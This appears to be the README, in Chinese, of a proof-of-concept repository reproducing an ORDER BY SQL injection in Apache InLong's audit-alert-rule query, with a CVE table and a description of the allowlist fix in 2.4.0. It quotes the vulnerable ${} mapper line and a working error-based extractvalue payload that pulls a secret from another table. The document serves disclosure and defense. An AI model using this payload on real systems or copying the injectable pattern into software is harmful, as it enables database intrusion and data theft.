AuditAlertRule ORDER BY SQL 注入针对 Apache InLong 的 audit-alert-rule 查询中 SQL 注入的可运行概念验证(PoC)复现程序。
InLong manager 的 mapper AuditAlertRuleEntityMapper.selectByCondition 使用安全的 MyBatis #{} 参数进行过滤,但在排序时对两个请求字段使用 ${} 字符串插值:
<!-- inlong-manager/manager-dao/src/main/resources/mappers/AuditAlertRuleEntityMapper.xml (InLong 2.0.0–2.3.x) -->
order by ${request.orderField} ${request.orderType}
orderField 和 orderType 来自分页请求(AuditAlertRulePageRequest),因此受攻击者控制并被原样拼接进 SQL 中——即 ORDER BY SQL 注入(CWE-89)。此 PoC 将 MySQL 报错注入 payload 注入 orderField,并从 不相关的表 中读取 secret,演示任意数据泄露。
mvn -q -DskipTests package
docker compose up --build # starts MySQL, seeds it, runs the one-shot PoC
docker compose down -v
存在漏洞的代码路径上的预期输出:
[1] Benign request (orderField='id', orderType='ASC'): 3 rows
AuditAlertRule{id=1, inlongGroupId=group_a, alertName=latency rule}
...
[2] Malicious request (orderField = error-based payload):
orderField = extractvalue(1,concat(0x7e,(select secret_value from manager_secrets limit 1)))
extracted from another table via the injected subquery: INLONG-SECRET-63039
>>> PROVEN: ... ORDER BY SQL injection (CWE-89): true
Apache InLong 2.4.0 会在 orderField / orderType 到达 mapper 之前,根据已知可排序列和排序方向的允许列表(allowlist)进行校验(ORDER BY 列名无法作为 #{} 参数绑定,因此排序输入必须经过校验,而非参数化)。
本仓库中的 MyBatis mapper、实体类和请求 POJO 均复刻了 InLong 的原始实现,因此注入汇聚点(sink)order by ${request.orderField} ${request.orderType} 被逐字复现。
本仓库仅出于教育和防御目的发布:帮助 Apache InLong 用户了解该漏洞,验证自己是否受影响,并确认升级即可解决。该 payload 仅从本地表中读取一个演示用 secret。请勿将本材料用于你并不拥有或运营的系统。
| 属性 | 值 |
|---|
| 项目 | Apache InLong — manager(AuditAlertRuleService / AuditAlertRuleEntityMapper) |
| 类型 | CWE-89 在 SQL 命令中未正确中和特殊元素('SQL 注入') |
| 攻击向量 | 审计告警规则(audit-alert-rule)页面请求中的 orderField / orderType 字段 |
| 影响 | 针对 InLong manager 数据库的任意 SQL 执行 / 数据泄露 |
| 受影响版本 | 自 2.0.0 起,至 2.4.0 之前 |
| 修复版本 | 2.4.0 |
| 安全公告 | CVE-2026-63039 |
| 致谢 | Andrea Cosentino |